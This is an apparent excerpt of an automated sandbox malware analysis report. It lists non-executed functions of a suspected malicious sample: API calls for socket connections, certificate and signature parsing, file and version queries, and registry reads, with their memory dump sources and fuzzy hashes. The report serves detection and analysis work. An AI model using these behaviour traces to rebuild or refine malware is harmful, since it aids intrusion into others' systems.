Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 03ad73f03e090e3f7e8803ff4163391140b9352ce0284877ca692049f0421b63
Instruction ID: 30d0017200594e123800f315a6a43529cda9902c05c6dc645b8cac7b931846db
Opcode Fuzzy Hash: 03ad73f03e090e3f7e8803ff4163391140b9352ce0284877ca692049f0421b63
Instruction Fuzzy Hash: 0CE0E531A4221087C7358A2DDCA064F3399EFD6754B29941AF451EB2C2C735DD428F91

Non-executed Functions

Function 6252E110 Relevance: 44.0, APIs: 16, Strings: 9, Instructions: 230libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(version.dll,?,?,00000000), ref: 6252E14C
GetProcAddress.KERNEL32(00000000,GetFileVersionInfoSizeA), ref: 6252E183
GetProcAddress.KERNEL32(00000000,GetFileVersionInfoA), ref: 6252E190
GetProcAddress.KERNEL32(00000000,VerQueryValueA), ref: 6252E19D
_malloc.LIBCMT ref: 6252E1D5
FreeLibrary.KERNEL32(00000000,?,00000000), ref: 6252E3C5

Strings

VerQueryValueA, xrefs: 6252E192
GetFileVersionInfoA, xrefs: 6252E185
\StringFileInfo\%04x%04x\LegalCopyright, xrefs: 6252E363
GetFileVersionInfoSizeA, xrefs: 6252E17D
cbDescSize is : %d, xrefs: 6252E2A9
\StringFileInfo\%04x%04x\CompanyName, xrefs: 6252E2FA
\VarFileInfo\Translation, xrefs: 6252E209
\StringFileInfo\%04x%04x\FileDescription, xrefs: 6252E267
version.dll, xrefs: 6252E137

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad_malloc
String ID: GetFileVersionInfoA$GetFileVersionInfoSizeA$VerQueryValueA$\StringFileInfo\%04x%04x\CompanyName$\StringFileInfo\%04x%04x\FileDescription$\StringFileInfo\%04x%04x\LegalCopyright$\VarFileInfo\Translation$cbDescSize is : %d$version.dll
API String ID: 802766039-4254682184
Opcode ID: 57462f52c9878a7f91967490062b14e2f4abac6a67ec37c6d5bddcb7a798a3d9
Instruction ID: b5206c23e26212320be8b9c24a32198df539766fd9ec00d67af89fcddad4d801
Opcode Fuzzy Hash: 57462f52c9878a7f91967490062b14e2f4abac6a67ec37c6d5bddcb7a798a3d9
Instruction Fuzzy Hash: 73717DB2544310AFD320DF24CC94DAFBBECABC9B44F00591EF99597281E775EA448B62

Function 0BB7622C Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 144stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,0BB7AC64,?,0BBD80AC), ref: 0BB76249
GetProcAddress.KERNEL32(00000000,GetLongPathNameA), ref: 0BB7625A
lstrcpyn.KERNEL32(?,?,?,?,0BBD80AC), ref: 0BB7628E
lstrcpyn.KERNEL32(?,?,?,kernel32.dll,0BB7AC64,?,0BBD80AC), ref: 0BB762FF
lstrcpyn.KERNEL32(?,?,?,?,?,?,kernel32.dll,0BB7AC64,?,0BBD80AC), ref: 0BB7633A
FindFirstFileA.KERNEL32(?,?,?,?,?,?,?,?,kernel32.dll,0BB7AC64,?,0BBD80AC), ref: 0BB7634D
FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,kernel32.dll,0BB7AC64,?,0BBD80AC), ref: 0BB7635A
lstrlen.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,kernel32.dll,0BB7AC64,?,0BBD80AC), ref: 0BB76366
lstrcpyn.KERNEL32(?,?,00000104,?,00000000,?,?,?,?,?,?,?,?,kernel32.dll,0BB7AC64), ref: 0BB7639A
lstrlen.KERNEL32(?,?,?,00000104,?,00000000,?,?,?,?,?,?,?,?,kernel32.dll,0BB7AC64), ref: 0BB763A6
lstrcpyn.KERNEL32(?,?,?,?,?,?,00000104,?,00000000,?,?,?,?,?,?,?), ref: 0BB763CF

Strings

GetLongPathNameA, xrefs: 0BB76254
kernel32.dll, xrefs: 0BB76244
\, xrefs: 0BB76378

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 814a37dd7f48891c705af45b6726dc34121bbd57ca33f593db3192c6df965ec2
Instruction ID: c6993c235b65e41b0967803bc0c4cfae2c4a8792bc3e20a2701fb5b53abb7107
Opcode Fuzzy Hash: 814a37dd7f48891c705af45b6726dc34121bbd57ca33f593db3192c6df965ec2
Instruction Fuzzy Hash: B6511871D40A19AFDB11EBECCC89AEEB7B8EF44200F0505E5E526E7241D7749E44CBA4

Function 6251CA10 Relevance: 21.8, APIs: 9, Strings: 3, Instructions: 778COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6251CB23
__time64.LIBCMT ref: 6251CB4B
_rand.LIBCMT ref: 6251CB5C
_memset.LIBCMT ref: 6251CBAC

Strings

https://, xrefs: 6251CCCE, 6251CDDA
http://, xrefs: 6251CCB1, 6251CCE9, 6251CDC1, 6251CDEC
P, xrefs: 6251CF47

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: _memset$__time64_rand
String ID: P$http://$https://
API String ID: 2807773216-806993781
Opcode ID: f4e285585c4e96ddec0605a2d52db7205de9450c694c1bfe3951a6c9e3e34fca
Instruction ID: 33e72e482a7dac392652798efed54c21de055350b65202d48f983ffdda9be0b4
Opcode Fuzzy Hash: f4e285585c4e96ddec0605a2d52db7205de9450c694c1bfe3951a6c9e3e34fca
Instruction Fuzzy Hash: 3352B47150D3418FE735CF28C864B9BBBE5AFC5318F044A2DE89987290DB71E949CB92

Function 625344F0 Relevance: 19.6, APIs: 13, Instructions: 137encryptionmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 62534160: _malloc.LIBCMT ref: 62534180
Part of subcall function 62534160: _memset.LIBCMT ref: 6253418B
Part of subcall function 62534160: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 625341A9

CryptQueryObject.CRYPT32(00000001,00000000,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 62534558
CryptMsgGetParam.CRYPT32(?,00000006,00000000,00000000,?), ref: 6253457A
LocalAlloc.KERNEL32(00000040,?), ref: 6253458B
CryptMsgGetParam.CRYPT32(?,00000006,00000000,00000000,?), ref: 625345A5

Part of subcall function 62534360: lstrcmpA.KERNEL32(1.3.6.1.4.1.311.2.1.12,00000000,B207A1AB,00000000,00000000,756BA0C0,00000000,Function_00045490,62579550,000000FE,?,625345B7,?), ref: 625343BC
Part of subcall function 62534360: CryptDecodeObject.CRYPT32(00010001,1.3.6.1.4.1.311.2.1.12,?,?,00000000,00000000,?), ref: 625343F0
Part of subcall function 62534360: LocalAlloc.KERNEL32(00000040,?), ref: 62534400
Part of subcall function 62534360: CryptDecodeObject.CRYPT32(00010001,1.3.6.1.4.1.311.2.1.12,?,?,00000000,?,?), ref: 62534433

_printf.LIBCMT ref: 625345BC
CertFindCertificateInStore.CRYPT32(?,00010001,00000000,000B0000,?,00000000), ref: 625345F6

Part of subcall function 625341C0: _printf.LIBCMT ref: 62534222
Part of subcall function 625341C0: _printf.LIBCMT ref: 62534235
Part of subcall function 625341C0: CertGetNameStringA.CRYPT32(00000000,00000004,00000001,00000000,00000000,00000000), ref: 62534248
Part of subcall function 625341C0: LocalAlloc.KERNEL32(00000040,00000000), ref: 6253425B
Part of subcall function 625341C0: CertGetNameStringA.CRYPT32(00000000,00000004,00000001,00000000,00000000,00000000), ref: 62534279
Part of subcall function 625341C0: LocalFree.KERNEL32(00000000), ref: 62534280
Part of subcall function 625341C0: CertGetNameStringA.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 62534292
Part of subcall function 625341C0: LocalAlloc.KERNEL32(00000040,00000000), ref: 6253429D
Part of subcall function 625341C0: CertGetNameStringA.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 625342B5

LocalFree.KERNEL32(00000000), ref: 62534626
LocalFree.KERNEL32(?), ref: 62534631
LocalFree.KERNEL32(?), ref: 6253463C
LocalFree.KERNEL32(00000000), ref: 62534643
CertFreeCertificateContext.CRYPT32(00000000), ref: 6253464A
CertCloseStore.CRYPT32(?,00000000), ref: 6253465B
CryptMsgClose.CRYPT32(?), ref: 6253466A

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: Local$Cert$CryptFree$AllocNameString$Object_printf$CertificateCloseDecodeParamStore$ByteCharContextFindMultiQueryWide_malloc_memsetlstrcmp
String ID:
API String ID: 2337873942-0
Opcode ID: f7c9e6f5b1e2af8605f8230ebd4c4847e9ef4490043ef9d9b277448a1bd27262
Instruction ID: e5a9680416fe0da735ca2d6cbbf15564694e480f15ee05deb8fb5bcd301fd79c
Opcode Fuzzy Hash: f7c9e6f5b1e2af8605f8230ebd4c4847e9ef4490043ef9d9b277448a1bd27262
Instruction Fuzzy Hash: 4E419F71604712ABDB21CF69DC94F6BBBE8AFC9704F00491CB955D3240EB75E908CBA2

Function 625341C0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 126encryptionmemoryCOMMON

Download Yara Rule

APIs

_printf.LIBCMT ref: 62534222
_printf.LIBCMT ref: 62534235
CertGetNameStringA.CRYPT32(00000000,00000004,00000001,00000000,00000000,00000000), ref: 62534248
LocalAlloc.KERNEL32(00000040,00000000), ref: 6253425B
CertGetNameStringA.CRYPT32(00000000,00000004,00000001,00000000,00000000,00000000), ref: 62534279
LocalFree.KERNEL32(00000000), ref: 62534280
CertGetNameStringA.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 62534292
LocalAlloc.KERNEL32(00000040,00000000), ref: 6253429D
CertGetNameStringA.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 625342B5
_strncpy.LIBCMT ref: 625342D3

Strings

%02x , xrefs: 6253421D

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: CertNameString$Local$Alloc_printf$Free_strncpy
String ID: %02x
API String ID: 196360592-3293531392
Opcode ID: 4eccd3a532c35256eb393d0c15ff410315b81309472d1056002fb1784d3f9bc9
Instruction ID: c1adafdd4fb111128e89eab1628146cf2da7b3861d5223ca5f4df7a69af831a4
Opcode Fuzzy Hash: 4eccd3a532c35256eb393d0c15ff410315b81309472d1056002fb1784d3f9bc9
Instruction Fuzzy Hash: 8941B675A40325ABD7318FA9CC95FABBBB8FB49B54F108115FA05B7280D77199008AA4

Function 6251EAE0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6251D970: socket.WS2_32(00000002,00000001,00000000), ref: 6251D995
Part of subcall function 6251D970: ioctlsocket.WS2_32 ref: 6251D9B1
Part of subcall function 6251D970: htons.WS2_32(?), ref: 6251D9E1
Part of subcall function 6251D970: inet_addr.WS2_32(?), ref: 6251DA15
Part of subcall function 6251D970: connect.WS2_32(?,?,00000010), ref: 6251DA30

closesocket.WS2_32(?), ref: 6251EB11
_memset.LIBCMT ref: 6251EB86
_memset.LIBCMT ref: 6251EBA3
closesocket.WS2_32(?), ref: 6251EC52
closesocket.WS2_32(?), ref: 6251EC83
closesocket.WS2_32(?), ref: 6251ECB2

Strings

P, xrefs: 6251EB7A

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: closesocket$_memset$connecthtonsinet_addrioctlsocketsocket
String ID: P
API String ID: 729250671-3110715001
Opcode ID: c876c1eab259863aa330675ce732c1e3665d125bb151badbb23b3c455277b640
Instruction ID: 6fd8d844b5b0d0ab4e3ae70acec24bcef9a8a6d80405f6d4c4640e269200fcb1
Opcode Fuzzy Hash: c876c1eab259863aa330675ce732c1e3665d125bb151badbb23b3c455277b640
Instruction Fuzzy Hash: 1351B3716083419FE731DF74D8B9ADBBBE8AF85308F44492ED58683641EB31D90D8B92

Function 6254C474 Relevance: 12.1, APIs: 8, Instructions: 125filestringCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6254C47E
GetFullPathNameA.KERNEL32(00000000,00000104,00000000,?,00000158,6254C703,?,00000000,?,00000000,00000104,00000000,00000000,?,?), ref: 6254C4BC

Part of subcall function 6253F4C1: __CxxThrowException@8.LIBCMT ref: 6253F4D7
Part of subcall function 6253F4C1: __EH_prolog3.LIBCMT ref: 6253F4E4

PathIsUNCA.SHLWAPI(?,00000000,?,?,?), ref: 6254C52C
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000,?,?), ref: 6254C553
CharUpperA.USER32(00000000), ref: 6254C586
FindFirstFileA.KERNEL32(?,?), ref: 6254C5A2
FindClose.KERNEL32(00000000), ref: 6254C5AE
lstrlenA.KERNEL32(?), ref: 6254C5CC

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062581000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.0000000062586000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960955792.0000000062588000.00000020.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3961187123.0000000062594000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962215979.00000000625D4000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962309518.00000000625D5000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962434111.00000000625DA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962492160.00000000625DB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962747037.00000000625EA000.00000040.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962828385.00000000625EB000.00000080.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3962924538.00000000625EC000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_62510000_C2485384.jbxd

Similarity

API ID: FindPath$CharCloseException@8FileFirstFullH_prolog3H_prolog3_InformationNameThrowUpperVolumelstrlen
String ID:
API String ID: 624941980-0
Opcode ID: 8fffc2fa01f3ce2bf124a5d0686eb4c22e1b7e40f2ebe0a3263e4f91d23e7a61
Instruction ID: 6cbbc86f95c78ad4a2de9d79dbad335c95a1070daf9a449b323831edfa26bf01
Opcode Fuzzy Hash: 8fffc2fa01f3ce2bf124a5d0686eb4c22e1b7e40f2ebe0a3263e4f91d23e7a61
Instruction Fuzzy Hash: 4B4181719005259BDF358F74CD68BFEBB78AFC631AF401599E819A5290DF348E88CE11

Function 0BB76E15 Relevance: 9.0, APIs: 6, Instructions: 41threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0BB73C00: GetKeyboardType.USER32(00000000), ref: 0BB73C05
Part of subcall function 0BB73C00: GetKeyboardType.USER32(00000001), ref: 0BB73C11

GetCommandLineA.KERNEL32 ref: 0BB76E7B
GetVersion.KERNEL32 ref: 0BB76E8F
GetVersion.KERNEL32 ref: 0BB76EA0
GetCurrentThreadId.KERNEL32 ref: 0BB76EDC

Part of subcall function 0BB73C30: RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 0BB73C52
Part of subcall function 0BB73C30: RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,0BB73CA1,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 0BB73C85
Part of subcall function 0BB73C30: RegCloseKey.ADVAPI32(?,0BB73CA8,00000000,?,00000004,00000000,0BB73CA1,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 0BB73C9B

GetThreadLocale.KERNEL32 ref: 0BB76EBC

Part of subcall function 0BB76D4C: GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,0BB76DB2), ref: 0BB76D72

Memory Dump Source

Source File: 00000011.00000002.3812094055.000000000BB71000.00000020.00000001.01000000.00000011.sdmp, Offset: 0BB70000, based on PE: true

Associated: 00000011.00000002.3812056800.000000000BB70000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBD8000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813718039.000000000BBE1000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813923280.000000000BBE4000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3813965926.000000000BBE5000.00000020.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816678851.000000000BC93000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816743352.000000000BC95000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816795626.000000000BC96000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816852114.000000000BC97000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3816895616.000000000BC98000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817829222.000000000BCD6000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3817909668.000000000BCD7000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820238314.000000000BD81000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820299762.000000000BD83000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820412054.000000000BD89000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.3820551344.000000000BD8C000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_bb70000_C2485384.jbxd

Similarity

API ID: KeyboardLocaleThreadTypeVersion$CloseCommandCurrentInfoLineOpenQueryValue
String ID:
API String ID: 3734044017-0
Opcode ID: fc33e3d443ba89792b27bffd4cc6e3bfd3777b66fb57ca454006b42199728ffb
Instruction ID: 1c009a395f60ff8ad3231311e4f5e79a894fd111b06cdadd8b015362fcc98d0f
Opcode Fuzzy Hash: fc33e3d443ba89792b27bffd4cc6e3bfd3777b66fb57ca454006b42199728ffb
Instruction Fuzzy Hash: DF0161A14967419FD730BF74E4663283BE0AB41784F0649D9C131AB240FB3E82049B76

Function 62534360 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128encryptionmemorystringCOMMON

Download Yara Rule

APIs

lstrcmpA.KERNEL32(1.3.6.1.4.1.311.2.1.12,00000000,B207A1AB,00000000,00000000,756BA0C0,00000000,Function_00045490,62579550,000000FE,?,625345B7,?), ref: 625343BC
CryptDecodeObject.CRYPT32(00010001,1.3.6.1.4.1.311.2.1.12,?,?,00000000,00000000,?), ref: 625343F0
LocalAlloc.KERNEL32(00000040,?), ref: 62534400
CryptDecodeObject.CRYPT32(00010001,1.3.6.1.4.1.311.2.1.12,?,?,00000000,?,?), ref: 62534433

Strings

1.3.6.1.4.1.311.2.1.12, xrefs: 625343B7, 625343E0, 62534429

Memory Dump Source

Source File: 00000011.00000002.3958944906.0000000062511000.00000020.00000001.01000000.00000017.sdmp, Offset: 62510000, based on PE: true

Associated: 00000011.00000002.3958893721.0000000062510000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000011.00000002.3960696702.000000006257D000.00000004.00000001.01000000.00000017.sdmpDownload File
